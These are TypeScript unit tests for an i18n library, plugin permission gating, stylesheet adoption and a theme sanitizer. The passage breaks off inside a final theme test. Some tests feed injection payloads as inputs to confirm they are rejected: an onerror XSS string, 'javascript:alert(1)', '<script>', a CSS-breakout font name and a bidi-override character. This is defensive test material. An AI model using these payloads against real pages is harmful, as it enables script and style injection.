import { checkCatalog, checkMessageSafety, checkShape, checkSource, coverage, generateKeyTypes, type CatalogIssue } from '../src/i18nCheck.ts';
import { createPluginI18n, pluginNamespace } from '../src/pluginI18n.ts';
import { KIT_MESSAGES } from '../src/ui.ts';
import { SHELL_MESSAGES, shellText } from '../../shell/src/messages.ts';
import { STORE_MESSAGES } from '../../shell/src/storeMessages.ts';
import { FRAME_MESSAGES } from '../../shell/src/frame/frameMessages.ts';
const here = dirname(fileURLToPath(import.meta.url));
test('locale tags are normalized, including X and legacy codes', () => {
assert.equal(normalizeLocale('en_gb'), 'en-GB');
assert.equal(normalizeLocale('zh-cn'), 'zh-Hans');
assert.equal(normalizeLocale('zh-TW'), 'zh-Hant');
assert.equal(normalizeLocale('zh-Hant-HK'), 'zh-Hant');
assert.equal(normalizeLocale('zh'), 'zh-Hans');
assert.equal(normalizeLocale('msa'), 'ms');
assert.equal(normalizeLocale('no'), 'nb');
assert.equal(normalizeLocale('iw'), 'he');
assert.equal(normalizeLocale('ar-x-fm'), 'ar-x-fm');
assert.equal(normalizeLocale('pt-br'), 'pt-BR');
for (const bad of ['', 'x', 'english!', '<script>', 'a'.repeat(40), null, 42]) assert.equal(normalizeLocale(bad), null, String(bad));
});
test('fallback chains end in the source and never cross scripts', () => {
assert.deepEqual(fallbackChain('pt-BR'), ['pt-BR', 'pt', 'en']);
assert.deepEqual(fallbackChain('zh-Hant'), ['zh-Hant', 'en']);
assert.deepEqual(fallbackChain('ar-x-fm'), ['ar-x-fm', 'ar', 'en']);
assert.deepEqual(fallbackChain('en-GB', 'en', { 'en-GB': 'en' }), ['en-GB', 'en']);
assert.equal(matchLocale(['pt-PT', 'en'], ['en', 'pt', 'tr']), 'pt');
assert.equal(matchLocale(['xx', 'tr-TR'], ['en', 'tr']), 'tr');
assert.equal(matchLocale(['ja'], ['en', 'tr']), 'en');
});
test('direction follows the script', () => {
for (const rtl of ['ar', 'ar-x-fm', 'fa', 'he', 'ur']) assert.equal(direction(rtl), 'rtl', rtl);
for (const ltr of ['en', 'tr', 'ja', 'zh-Hant', 'ha']) assert.equal(direction(ltr), 'ltr', ltr);
});
test('ICU-lite: placeholders, plurals with exact forms, select, quoting', () => {
assert.equal(formatMessage('Hello, {name}!', { name: '<b>x</b>' }), 'Hello, <b>x</b>!', 'values are text');
const drafts = '{count, plural, =0 {No drafts} one {# draft} other {# drafts}}';
assert.equal(formatMessage(drafts, { count: 0 }), 'No drafts');
assert.equal(formatMessage(drafts, { count: 1 }), '1 draft');
assert.equal(formatMessage(drafts, { count: 1234 }), '1,234 drafts');
assert.equal(formatMessage(drafts, { count: 1234 }, 'de'), '1.234 drafts');
// Arabic has six forms; "few" for 3.
assert.equal(formatMessage('{n, plural, zero {z} one {o} two {t} few {f} many {m} other {x}}', { n: 3 }, 'ar'), 'f');
assert.equal(formatMessage('{kind, select, post {Post} reply {Reply} other {Item}}', { kind: 'reply' }), 'Reply');
assert.equal(formatMessage('{kind, select, post {Post} other {Item}}', { kind: 'nope' }), 'Item');
assert.equal(formatMessage("Use '{braces}' and it''s fine"), "Use {braces} and it's fine");
assert.equal(formatMessage('{n, selectordinal, one {#st} two {#nd} few {#rd} other {#th}}', { n: 22 }), '22nd');
assert.equal(formatMessage('{n, number, percent}', { n: 0.5 }), '50%');
assert.equal(formatMessage('Missing {x}'), 'Missing {x}');
assert.equal(formatMessage('Broken {x'), 'Broken {x', 'malformed messages render raw');
assert.throws(() => parseMessage('{n, plural, one {x}}'), /other/);
assert.throws(() => parseMessage('{a-b}'), /placeholder/);
assert.deepEqual(placeholders('{a} {n, plural, one {# {b}} other {{c}}}'), ['a', 'b', 'c', 'n']);
assert.deepEqual(argumentShapes(drafts), { count: { kind: 'plural', options: ['=0', 'one', 'other'] } });
assert.deepEqual(pluralCategories('tr').sort(), ['one', 'other']);
assert.deepEqual(pluralCategories('ja'), ['other']);
});
test('createI18n: lazy catalogs, fallback, missing reports, resolved subsets', async () => {
const missing: string[] = [];
const loads: string[] = [];
const i18n = createI18n({
source: { 'a.hello': 'Hello, {name}', 'a.only': 'English only', 'x.nav': 'Nav' },
available: ['en', 'pt', 'pt-BR', 'tr'],
load: tag => {
loads.push(tag);
return ({ pt: { 'a.hello': 'Olá, {name}' }, 'pt-BR': { 'x.nav': 'Navegação' }, tr: { 'a.hello': 'Merhaba {name}' } } as Record<string, Record<string, string>>)[tag];
},
onMissing: (key, locale, reason) => missing.push(`${reason}:${locale}:${key}`),
});
const seen: string[] = [];
i18n.onChange(locale => seen.push(locale));
assert.equal(await i18n.setLocale('pt-BR'), 'pt-BR');
assert.deepEqual(i18n.chain, ['pt-BR', 'pt', 'en']);
assert.deepEqual(loads.sort(), ['pt', 'pt-BR']);
assert.equal(i18n.t('a.hello', { name: 'Ana' }), 'Olá, Ana');
assert.equal(i18n.t('x.nav'), 'Navegação');
assert.equal(i18n.t('a.only'), 'English only');
assert.equal(i18n.t('nope'), 'nope');
assert.ok(missing.includes('key:pt-BR:a.only') && missing.includes('key:pt-BR:nope'));
assert.deepEqual(i18n.resolved(['x.']), { 'x.nav': 'Navegação' });
assert.equal(await i18n.setLocale('fr-FR'), 'en', 'no catalog: the source');
assert.equal(await i18n.setLocale('tr-TR'), 'tr');
assert.deepEqual(seen, ['pt-BR', 'en', 'tr']);
assert.equal(i18n.number(1234.5), '1.234,5');
assert.equal(i18n.dir, 'ltr');
i18n.add('tr', { 'a.only': 'Sadece' });
assert.equal(i18n.t('a.only'), 'Sadece');
assert.equal(i18n.tx('dynamic.key', {}, 'fallback'), 'fallback');
assert.equal(typeof i18n.relative(-3, 'minute'), 'string');
assert.deepEqual(relativeParts(Date.now() - 5 * 60_000), { value: -5, unit: 'minute' });
});
test('catalog checks: placeholders, plurals, markup, extra keys, lengths', () => {
const source = {
'a.hello': 'Hello, {name}',
'a.count': '{n, plural, one {# item} other {# items}}',
'a.kind': '{k, select, post {Post} other {Other}}',
'a.short': 'Save',
};
const catalog: Catalog = {
locale: 'ar', name: 'العربية', englishName: 'Arabic', dir: 'rtl', status: 'machine',
messages: {
'a.hello': 'مرحبا {nom}',
'a.count': '{n, plural, one {عنصر} other {# عناصر}}',
'a.kind': '{k, select, other {آخر}}',
'a.short': 'x'.repeat(80),
'a.gone': 'قديم',
},
};
const issues = checkCatalog(catalog, source);
const text = issues.map(issue => `${issue.level}:${issue.key}:${issue.message}`).join('\n');
assert.match(text, /error:a\.hello:missing placeholder\(s\) \{name\}/);
assert.match(text, /error:a\.hello:unknown placeholder\(s\) \{nom\}/);
assert.match(text, /warning:a\.count:.*no "zero" form \(ar uses it/);
assert.match(text, /error:a\.kind:.*lacks the "post" option/);
assert.match(text, /warning:a\.short:translation is 80 characters/);
assert.match(text, /error:a\.gone:key is not in the source/);
assert.equal(checkMessageSafety('tr', 'k', 'Merhaba <img src=x onerror=alert(1)>')[0]?.level, 'error');
assert.equal(checkMessageSafety('tr', 'k', 'a‮b')[0]?.level, 'error');
assert.equal(checkMessageSafety('tr', 'k', 'Boyut < 8 MB').length, 0);
assert.equal(checkShape({ locale: 'tr', name: 'Türkçe', englishName: 'Turkish', status: 'reviewed', messages: {} }).length, 1, 'reviewed needs reviewers');
assert.equal(checkShape({ locale: 'ar', name: 'x', englishName: 'y', status: 'machine', dir: 'ltr', messages: {} }).length, 1, 'wrong dir');
assert.equal(checkShape({ locale: 'zh-cn', name: 'x', englishName: 'y', status: 'machine', messages: {} }).length, 1, 'non-canonical tag');
assert.equal(checkSource({ locale: 'en', name: 'English', englishName: 'English', status: 'source', messages: { a: 'x' } }, { b: 'desc' }).length, 1);
assert.equal(coverage(catalog, source), 1);
assert.match(generateKeyTypes(source), /"a\.hello": \{ name: string \| number \| Date \}/);
});
test('apostrophes are literal unless they quote { } # or another apostrophe', () => {
assert.equal(formatMessage("Don't lose the developer's {name}", { name: 'draft' }), "Don't lose the developer's draft");
assert.equal(formatMessage("It's {n, plural, one {# post} other {# posts}}", { n: 2 }), "It's 2 posts");
assert.equal(formatMessage("'#'1 and '{'x'}' and it''s"), '#1 and {x} and it\'s');
assert.equal(formatMessage("{n, plural, other {'#' is #}}", { n: 3 }), '# is 3');
assert.deepEqual(placeholders("don't {a} 'n' {b}"), ['a', 'b']);
assert.deepEqual(checkMessageSafety('en', 'k', "Don't show the developer's notes"), []);
});
test('catalog checks: plural-only arguments may be dropped, other placeholders may not', () => {
const source = {
'a.fonts': 'Download {count, plural, one {it} other {them}} now?',
'a.saved': 'Download {fonts} to see {count, plural, one {it} other {them}}.',
'a.drafts': '{count, plural, one {# draft} other {# drafts}}',
'a.kind': 'Open {kind, select, post {the post} other {it}}',
'a.frames': 'New {ext}{frames, plural, =0 {} =1 {} other { · # frames}}',
'a.before': 'In',
};
const catalog: Catalog = {
locale: 'ms', name: 'Bahasa Melayu', englishName: 'Malay', status: 'machine',
messages: {
'a.fonts': 'Muat turun sekarang?',
'a.saved': 'Muat turun {fonts} untuk melihatnya.',
'a.drafts': 'draf',
'a.kind': 'Buka',
'a.frames': '{ext} baharu{frames, plural, other { · # bingkai}}',
'a.before': '',
},
};
const errors = checkCatalog(catalog, source, { 'a.before': { description: 'fragment', allowEmpty: true } }).filter(issue => issue.level === 'error');
assert.deepEqual(errors.map(issue => `${issue.key}:${issue.message}`), [
'a.drafts:missing placeholder(s) {count}',
'a.kind:missing placeholder(s) {kind}',
]);
assert.equal(checkCatalog({ ...catalog, messages: { 'a.before': '' } }, source).filter(issue => issue.level === 'error').length, 1, 'empty needs allowEmpty');
// Only `other` where the language has only `other` (ms, vi, th, yo): no warning either.
for (const locale of ['ms', 'vi', 'th', 'yo']) {
const only = checkCatalog({ ...catalog, locale, messages: { 'a.drafts': '{count, plural, other {# x}}' } }, source);
assert.deepEqual(only.filter(issue => issue.key === 'a.drafts'), [], locale);
}
const sk = checkCatalog({ ...catalog, locale: 'sk', messages: { 'a.frames': 'Nový {ext}{frames, plural, =0 {} =1 {} other { · # sn.}}' } }, source);
assert.ok(sk.every(issue => issue.level === 'warning'), 'missing plural forms are warnings');
});
test('plugin strings: own translations, then the app catalog, then own English', () => {
let locale = 'tr';
const listeners = new Set<() => void>();
const host = { 'plugin.reading-time.label': '{minutes} dk okuma', 'kit.ok': 'Tamam' } as Record<string, string>;
const source = { locale: () => locale, message: (key: string) => host[key], onChange: (fn: () => void) => { listeners.add(fn); return () => listeners.delete(fn); } };
const root = createPluginI18n(source);
const bundled = root.namespace(pluginNamespace('reading-time.plugin.js'));
bundled.register({ en: { label: '{minutes} min read', other: 'Other' } });
assert.equal(bundled.t('label', { minutes: 3 }), '3 dk okuma');
assert.equal(bundled.t('other'), 'Other');
const third = root.namespace('notes');
third.register({ en: { saved: 'Saved' }, 'tr-TR': { saved: 'Kaydedildi' } });
assert.equal(third.t('saved'), 'Saved', 'tr-TR does not serve tr');
third.register({ tr: { saved: 'Kaydedildi' } });
assert.equal(third.t('saved'), 'Kaydedildi');
let heard = '';
third.onChange(next => { heard = next; });
locale = 'en';
for (const fn of listeners) fn();
assert.equal(heard, 'en');
assert.equal(third.t('saved'), 'Saved');
assert.equal(third.t('missing'), 'missing');
assert.throws(() => root.namespace('../x'), /invalid/);
});
test('framework catalogs: kit words for every locale pass the checks', () => {
const dir = join(here, '../../waybetter/locales');
const en = JSON.parse(readFileSync(join(dir, 'en.json'), 'utf8')) as Catalog;
assert.deepEqual(en.messages, { ...KIT_MESSAGES, ...SHELL_MESSAGES, ...STORE_MESSAGES, ...FRAME_MESSAGES }, 'en.json is the kit, shell-model, store and shell-frame source');
assert.equal(shellText('wb.account.signedOut', { handle: '@a' }), '@a · signed out');
assert.equal(shellText('wb.account.signedOut', { handle: '@a' }, () => '{handle} · oturum kapalı'), '@a · oturum kapalı');
const files = readdirSync(dir).filter(file => file.endsWith('.json'));
assert.ok(files.length >= 50, `${files.length} locales`);
for (const file of files) {
const catalog = JSON.parse(readFileSync(join(dir, file), 'utf8')) as Catalog;
assert.equal(`${catalog.locale}.json`, file);
const errors: CatalogIssue[] = [...checkShape(catalog, file), ...(file === 'en.json' ? checkSource(catalog) : checkCatalog(catalog, en.messages))].filter(issue => issue.level === 'error');
assert.deepEqual(errors, [], file);
}
});

View file

@ -0,0 +1,75 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { installPageLangReport, LANG_REPORT_RETRIES } from '../src/pageLang.ts';
/** A page whose <html lang> never changes, with timers we step by hand. */
function fakePage(lang: string, parsed = true) {
const timers: Array<() => void> = [];
const listeners = new Map<string, () => void>();
const root = { getAttribute: (name: string) => (name === 'lang' ? lang : null) };
const document = {
documentElement: parsed ? root : null,
addEventListener: (type: string, fn: () => void) => { listeners.set(type, fn); },
removeEventListener: (type: string) => { listeners.delete(type); },
};
const win = {
document,
MutationObserver: class { observe() {} disconnect() {} },
setTimeout: (fn: () => void) => { timers.push(fn); return timers.length; },
clearTimeout: () => {},
} as unknown as Window & typeof globalThis;
const parse = () => { document.documentElement = root; listeners.get('DOMContentLoaded')?.(); };
return { win, timers, parse, listeners };
}
const settle = () => new Promise(resolve => setImmediate(resolve));
test('a language report lost at document start (no IPC bridge yet) is sent again', async () => {
const { win, timers } = fakePage('en-GB');
const sent: unknown[] = [];
let bridge = false;
installPageLangReport(win, async (command, args) => {
if (!bridge) throw new Error('IPC bridge not ready');
sent.push([command, args]);
});
await settle();
assert.equal(sent.length, 0);
assert.equal(timers.length, 1, 'a retry is scheduled');
bridge = true;
timers.shift()!();
await settle();
assert.deepEqual(sent, [['tab_report', { report: { lang: 'en-GB' } }]]);
assert.equal(timers.length, 0, 'nothing more once it went through');
});
test('retries are bounded and stop after dispose', async () => {
const { win, timers } = fakePage('tr');
let calls = 0;
const handle = installPageLangReport(win, async () => { calls += 1; throw new Error('down'); });
for (let i = 0; i < LANG_REPORT_RETRIES + 5; i += 1) { await settle(); timers.shift()?.(); }
await settle();
assert.equal(calls, LANG_REPORT_RETRIES + 1);
assert.equal(timers.length, 0);
const second = fakePage('ja');
let later = 0;
const h2 = installPageLangReport(second.win, async () => { later += 1; throw new Error('down'); });
await settle();
h2.dispose();
second.timers.shift()?.();
await settle();
assert.equal(later, 1, 'no report after dispose');
handle.dispose();
});
test('installed at document start before <html> exists, it reports once the parser made it', async () => {
const page = fakePage('en-GB', false);
const sent: unknown[] = [];
const handle = installPageLangReport(page.win, async (command, args) => { sent.push([command, args]); });
await settle();
assert.equal(sent.length, 0);
page.parse();
await settle();
assert.deepEqual(sent, [['tab_report', { report: { lang: 'en-GB' } }]]);
handle.dispose();
assert.equal(page.listeners.size, 0);
});

View file

@ -0,0 +1,92 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { createCorePluginApi, type PluginApiSite } from '../src/pluginApi.ts';
import { CORE_GATES, PluginPermissionError, createPluginContext, parsePermissions, scopePluginApi } from '../src/permissions.ts';
const SITE: PluginApiSite = {
name: 'Demo', product: 'wayBetter for Test', storagePrefix: 'demo-plugin:', styleDataKey: 'demoPlugin',
toastId: 'demo-toast', toastBackground: '#111', itemSelector: 'article.message', chordKeys: ['g'],
};
function fakeApi() {
const noop = () => {};
const doc = {
activeElement: null, documentElement: {}, addEventListener: noop, removeEventListener: noop,
head: { appendChild(node: { isConnected: boolean }) { node.isConnected = true; } },
querySelectorAll: () => [],
createElement: () => ({ dataset: {}, textContent: '', isConnected: false, remove() {} }),
};
const store = new Map<string, string>();
const win = {
document: doc, location: { href: 'https://site.test/' }, addEventListener: noop, removeEventListener: noop,
localStorage: { get length() { return store.size; }, key: (i: number) => [...store.keys()][i] ?? null, getItem: (k: string) => store.get(k) ?? null, setItem: (k: string, v: string) => store.set(k, v), removeItem: (k: string) => store.delete(k) },
navigator: { clipboard: { writeText: async () => {} } },
requestAnimationFrame: (fn: () => void) => { fn(); return 1; }, cancelAnimationFrame: noop,
MutationObserver: class { observe() {} disconnect() {} },
};
const core = createCorePluginApi(win as unknown as Window & typeof globalThis, SITE);
// A site adds its own gated members, like X's `account()` and `users`.
const users = Object.freeze({ get: () => null, onUpdate: () => () => {} });
return Object.freeze(Object.assign(core, { account: () => ({ handle: 'me' }), users }));
}
const GATES = { ...CORE_GATES, account: 'account', users: 'users' } as const;
test('parsePermissions mirrors the native header rules', () => {
assert.deepEqual(parsePermissions('storage, ui clipboard,UI'), { permissions: ['storage', 'ui', 'clipboard'] });
assert.deepEqual(parsePermissions('network:none'), { permissions: ['network:none'] });
assert.deepEqual(parsePermissions('none'), { permissions: [] });
assert.match((parsePermissions('storage, cookies') as { error: string }).error, /unknown permission "cookies"/);
assert.match((parsePermissions('network, network:none') as { error: string }).error, /contradict/);
});
test('undeclared members throw a clear PluginPermissionError; declared ones work', async () => {
const api = scopePluginApi(fakeApi(), ['storage'], 'notes.plugin.js', GATES);
assert.equal(api.storage('n').set('a', 1), true, 'storage granted');
assert.equal(typeof api.injectCSS, 'function', 'DOM helpers need no permission');
assert.equal(typeof api.theme.current, 'function', 'theme needs no permission');
assert.throws(() => api.copyText('x'), (error: unknown) => error instanceof PluginPermissionError && error.permission === 'clipboard' && /notes\.plugin\.js: api\.copyText needs the "clipboard" permission/.test(error.message));
assert.throws(() => api.toast('hi'), /api\.toast needs the "ui" permission/);
assert.throws(() => api.ui.confirm({ title: 'x' } as never), /api\.ui\.confirm needs the "ui" permission/);
assert.throws(() => (api as unknown as { account(): unknown }).account(), /"account" permission/);
assert.throws(() => (api as unknown as { users: { get(h: string): unknown } }).users.get('x'), /api\.users\.get needs the "users" permission/);
assert.ok(Object.isFrozen(api), 'a plugin cannot patch its view');
});
test('scope().ui is gated like api.ui; the rest of the scope works and disposes', () => {
const api = scopePluginApi(fakeApi(), [], 'plain.plugin.js', GATES);
const scope = api.scope();
let disposed = 0;
scope.defer(() => { disposed += 1; });
scope.css('x', 'a{}');
assert.throws(() => scope.ui.toast('hi'), /scope\(\)\.ui\.toast needs the "ui" permission/);
scope.dispose();
assert.equal(disposed, 1);
const withUi = scopePluginApi(fakeApi(), ['ui'], 'ui.plugin.js', GATES).scope();
assert.equal(typeof withUi.ui.toast, 'function');
});
test('the context hands each plugin its own view while its code runs; legacy plugins get the full API', () => {
const full = fakeApi();
const context = createPluginContext(full, GATES);
assert.equal(context.current(), full, 'outside any plugin: the full API');
const seen = context.run('a.plugin.js', ['clipboard'], () => context.current());
assert.notEqual(seen, full);
assert.throws(() => seen.storage('x'), /a\.plugin\.js: api\.storage needs the "storage" permission/);
// stop() runs later without grants: the registered view is reused.
assert.equal(context.run('a.plugin.js', undefined, () => context.current()), seen);
assert.deepEqual(context.grants('a.plugin.js'), ['clipboard']);
// Nested: a plugin started from inside another's code gets its own view, then the outer one returns.
context.run('outer.plugin.js', ['ui'], () => {
const outer = context.current();
assert.equal(context.run('legacy.plugin.js', null, () => context.current()), full, 'legacy = full API');
assert.equal(context.current(), outer);
});
assert.equal(context.grants('legacy.plugin.js'), null);
assert.equal(context.current(), full);
// An exception inside a plugin never leaves its view installed.
assert.throws(() => context.run('boom.plugin.js', [], () => { throw new Error('boom'); }), /boom/);
assert.equal(context.current(), full);
// Unknown grant names are dropped rather than trusted.
context.run('odd.plugin.js', ['storage', 'root'], () => {});
assert.deepEqual(context.grants('odd.plugin.js'), ['storage']);
});

View file

@ -0,0 +1,175 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { adoptStyles } from '../src/styles.ts';
import { createCorePluginApi, type PluginApiSite } from '../src/pluginApi.ts';
/** A constructable sheet as far as the helper uses one. */
class FakeSheet {
static refuse = false;
css = '';
replaceSync(css: string) {
if (FakeSheet.refuse) throw new Error('refused');
this.css = css;
}
}
type FakeStyle = { tag: string; textContent: string; parent: FakeParent | null; sheet?: unknown; remove(): void };
type FakeParent = { children: FakeStyle[]; appendChild(node: FakeStyle): FakeStyle };
function parent(): FakeParent {
const node: FakeParent = {
children: [],
appendChild(child) { child.parent = node; node.children.push(child); return child; },
};
return node;
}
function fakeDocument(options: { constructable?: boolean; adopted?: boolean } = {}) {
const win: Record<string, unknown> = {};
if (options.constructable !== false) win.CSSStyleSheet = FakeSheet;
const head = parent();
const doc: Record<string, unknown> = {
nodeType: 9,
defaultView: win,
head,
documentElement: parent(),
createElement(tag: string): FakeStyle {
const node: FakeStyle = { tag, textContent: '', parent: null, remove() { if (node.parent) node.parent.children = node.parent.children.filter(c => c !== node); node.parent = null; } };
return node;
},
};
if (options.adopted !== false) doc.adoptedStyleSheets = [];
win.document = doc;
return { win, doc, head };
}
function fakeShadowRoot(doc: Record<string, unknown>, adopted = true) {
const root = parent() as FakeParent & Record<string, unknown>;
root.nodeType = 11;
root.ownerDocument = doc;
if (adopted) root.adoptedStyleSheets = [];
return root;
}
test('a shadow root adopts a constructed sheet: no <style> element, update and remove work', () => {
FakeSheet.refuse = false;
const { doc } = fakeDocument();
const root = fakeShadowRoot(doc);
const earlier = new FakeSheet();
root.adoptedStyleSheets = [earlier];
const styles = adoptStyles(root as unknown as ShadowRoot, '.a { color: red; }');
assert.equal(styles.adopted, true);
assert.equal(root.children.length, 0, 'no <style> element the page CSP could refuse');
const adopted = root.adoptedStyleSheets as FakeSheet[];
assert.equal(adopted.length, 2);
assert.equal(adopted[0], earlier, 'sheets already adopted stay first');
assert.equal(adopted[1].css, '.a { color: red; }');
assert.equal(styles.sheet, adopted[1] as unknown as CSSStyleSheet);
styles.update('.b {}');
assert.equal(adopted[1].css, '.b {}');
styles.remove();
assert.deepEqual(root.adoptedStyleSheets, [earlier]);
styles.remove();
assert.deepEqual(root.adoptedStyleSheets, [earlier], 'remove is idempotent');
});
test('without constructable sheets, or when the engine refuses one, a <style> element is the fallback', () => {
FakeSheet.refuse = false;
const noCtor = fakeDocument({ constructable: false });
const root = fakeShadowRoot(noCtor.doc);
const styles = adoptStyles(root as unknown as ShadowRoot, '.x {}');
assert.equal(styles.adopted, false);
assert.equal(root.children.length, 1);
assert.equal(root.children[0].textContent, '.x {}');
styles.update('.y {}');
assert.equal(root.children[0].textContent, '.y {}');
styles.remove();
assert.equal(root.children.length, 0);
const noAdopt = fakeDocument();
const legacy = fakeShadowRoot(noAdopt.doc, false);
assert.equal(adoptStyles(legacy as unknown as ShadowRoot, '.z {}').adopted, false);
assert.equal(legacy.children.length, 1);
FakeSheet.refuse = true;
const refused = fakeDocument();
const root2 = fakeShadowRoot(refused.doc);
assert.equal(adoptStyles(root2 as unknown as ShadowRoot, '.w {}').adopted, false);
assert.equal(root2.children.length, 1);
FakeSheet.refuse = false;
});
test('a document root: adopted sheet, or a <style> in <head> as the fallback', () => {
FakeSheet.refuse = false;
const { doc, head } = fakeDocument();
const styles = adoptStyles(doc as unknown as Document, '.d {}');
assert.equal(styles.adopted, true);
assert.equal((doc.adoptedStyleSheets as FakeSheet[]).length, 1);
assert.equal(head.children.length, 0);
const plain = fakeDocument({ adopted: false });
adoptStyles(plain.doc as unknown as Document, '.e {}');
assert.equal(plain.head.children.length, 1);
});
const SITE: PluginApiSite = {
name: 'Demo', product: 'wayBetter for Test', storagePrefix: 'demo-plugin:', styleDataKey: 'demoPlugin',
toastId: 'demo-toast', toastBackground: '#111', itemSelector: 'article.message', chordKeys: ['g'],
};
function pluginEnv(cspBlocksInline: boolean) {
FakeSheet.refuse = false;
const { win, doc, head } = fakeDocument();
const createElement = doc.createElement as (tag: string) => FakeStyle;
Object.assign(doc, {
addEventListener() {}, removeEventListener() {}, activeElement: null, querySelectorAll: () => [],
createElement(tag: string) {
const node = createElement(tag) as FakeStyle & { dataset: Record<string, string>; isConnected: boolean };
node.dataset = {};
// A real <style>: a sheet once connected, none when the CSP refuses inline styles.
Object.defineProperty(node, 'sheet', { get: () => (node.parent && !cspBlocksInline ? {} : null) });
Object.defineProperty(node, 'isConnected', { get: () => !!node.parent });
return node;
},
});
Object.assign(win, {
location: { href: 'https://site.test/home' }, localStorage: null,
addEventListener() {}, removeEventListener() {},
requestAnimationFrame: (fn: () => void) => { fn(); return 1; }, cancelAnimationFrame: () => {},
MutationObserver: class { observe() {} disconnect() {} },
});
const api = createCorePluginApi(win as unknown as Window & typeof globalThis, SITE);
return { api, doc, head };
}
test('injectCSS: an inline <style> the page CSP refuses gets its rules as an adopted sheet instead', () => {
const { api, doc, head } = pluginEnv(true);
api.injectCSS('demo', '.a {}');
assert.equal(head.children.length, 1, 'the <style> element is still there (the CSP may change)');
const adopted = doc.adoptedStyleSheets as FakeSheet[];
assert.equal(adopted.length, 1);
assert.equal(adopted[0].css, '.a {}');
api.injectCSS('demo', '.b {}');
assert.equal(adopted.length, 1, 'updated in place, not stacked');
assert.equal((doc.adoptedStyleSheets as FakeSheet[])[0].css, '.b {}');
api.clearCSS('demo');
assert.equal((doc.adoptedStyleSheets as FakeSheet[]).length, 0);
assert.equal(head.children.length, 0);
});
test('injectCSS: an allowed <style> needs no adopted copy', () => {
const { api, doc, head } = pluginEnv(false);
api.injectCSS('demo', '.a {}');
assert.equal(head.children.length, 1);
assert.equal((doc.adoptedStyleSheets as FakeSheet[]).length, 0);
});
test('scope.adoptCSS takes the sheet off the root on dispose', () => {
const { api, doc } = pluginEnv(false);
const root = fakeShadowRoot(doc);
const scope = api.scope();
const styles = scope.adoptCSS(root as unknown as ShadowRoot, '.card {}');
assert.equal(styles.adopted, true);
assert.equal((root.adoptedStyleSheets as FakeSheet[]).length, 1);
scope.dispose();
assert.equal((root.adoptedStyleSheets as FakeSheet[]).length, 0);
});

View file

@ -0,0 +1,199 @@
// The theme engine's site-independent parts: theme documents (sanitizing, import, roles, legibility),
// the choice catalog and the first-frame snapshot. Site behavior (X's palette remap and structure
// CSS) is tested in the app.
import assert from 'node:assert/strict';
import test from 'node:test';
import { FONT_ROLE_NAMES, MONO_FONT, contrastRatio } from '../src/themeApi.ts';
import { choiceForId, createThemeCatalog, serializeChoice, MAX_USER_THEMES } from '../src/themeChoice.ts';
import { SNAPSHOT_LOCAL_MAX, readSnapshot, resolvedFonts, writeSnapshot, type ThemeSnapshot } from '../src/themeRuntime.ts';
import {
BASE_EFFECTS, BASE_FONT, BASE_LAYOUT, BASE_SHAPE, FONT_CHOICES, ROLE_LIMITS, applyOverrides, backgroundLayers, ensureContrast, fontChoiceOf, fontStack, isNeutral,
pageBackgroundCss, parseThemeJson, resolveFontRoles, sanitizeSpec, withFamily, withRoles, type ThemeSpec,
} from '../src/themeSpec.ts';
const own: ThemeSpec = { id: 'site', name: 'Site', description: '', author: '', version: 1, mode: 'auto', colors: null, font: BASE_FONT, shape: BASE_SHAPE, layout: BASE_LAYOUT, background: { kind: 'none' }, effects: BASE_EFFECTS, css: '' };
const night: ThemeSpec = sanitizeSpec({ id: 'night', name: 'Night', colors: { bg: '#07080c', text: '#eef0f7', accent: '#5b8cff' }, font: { family: ['Geist', 'system-ui'] } });
test('sanitizeSpec drops anything that could escape into CSS', () => {
const hostile = sanitizeSpec({
id: 'Bad Id!', name: ' Evil\u0000 theme ',
colors: { bg: 'red', surface: '#000', elevated: '#000000', border: '#000000', text: '#ffffff', muted: '#999999', accent: '#1d9bf0' },
font: { family: ['Inter;}body{display:none', 'Geist', 'x"y', 'serif'], scale: 9, weight: 'bold', leading: 99 },
shape: { radius: -4, button: 'pill', avatar: 'star' },
layout: { column: 99999, density: 'tiny', cards: 'yes' },
background: { kind: 'image', url: 'https://evil.test/a.png' },
effects: { motion: 1e9, hover: 'explode' },
});
assert.equal(hostile.id, 'evil-theme');
assert.equal(hostile.name, 'Evil theme');
assert.equal(hostile.colors, null);
assert.deepEqual(hostile.font.family, ['Geist', 'serif']);
assert.equal(hostile.font.scale, 1.2);
assert.equal(hostile.font.leading, 1.8);
assert.deepEqual(hostile.shape, { radius: 0, button: 9999, avatar: 'circle' });
assert.equal(hostile.layout.column, 820);
assert.equal(hostile.layout.density, 'default');
assert.equal(hostile.layout.cards, false);
assert.deepEqual(hostile.background, { kind: 'none' });
assert.equal(hostile.effects.motion, 400);
assert.equal(hostile.effects.hover, 'none');
for (const url of ['data:image/svg+xml;base64,PHN2Zz4=', 'data:text/html;base64,AAAA', 'data:image/png;base64,AA)A', 'javascript:alert(1)']) {
assert.deepEqual(sanitizeSpec({ name: 'a', background: { kind: 'image', url } }).background, { kind: 'none' }, url);
}
assert.equal(sanitizeSpec({ name: 'a', background: { kind: 'image', url: 'data:image/png;base64,iVBORw0KGgo=' } }).background.kind, 'image');
// The schema's defaults change nothing.
assert.ok(isNeutral(own));
assert.ok(!isNeutral(night));
});
test('parseThemeJson explains what it rejected or changed', () => {
assert.deepEqual(parseThemeJson('{nope'), { error: 'This file is not valid JSON.' });
assert.deepEqual(parseThemeJson('{"id":"a"}'), { error: 'A theme needs a "name".' });
const parsed = parseThemeJson(JSON.stringify({ name: 'Mine', css: 'a{}', colors: { bg: 'red' } }));
assert.ok('theme' in parsed);
if ('theme' in parsed) {
assert.equal(parsed.theme.id, 'mine');
assert.equal(parsed.warnings.length, 2);
}
});
test('a palette from three colors, then legibility: any accent stays readable on every surface', () => {
assert.ok(night.colors && night.colors.surface && night.colors.border, 'derived roles are filled in');
for (const accent of ['#1d9bf0', '#ffffff', '#000000', '#fffe00']) {
const c = applyOverrides(night, {}, accent).colors!;
for (const surface of [c.bg, c.surface, c.elevated]) assert.ok(contrastRatio(c.accent, surface) >= 4.5, accent);
assert.ok(contrastRatio(c.onInverse!, c.inverse!) >= 4.5, `${accent} button`);
}
const bad = ensureContrast({ bg: '#888888', surface: '#8a8a8a', elevated: '#909090', border: '#999999', text: '#777777', muted: '#7a7a7a', accent: '#8888ff' });
for (const role of ['text', 'muted', 'accent'] as const) assert.ok(contrastRatio(bad[role], '#909090') >= 4.5, role);
});
test('old theme files migrate and roles win over the shorthand', () => {
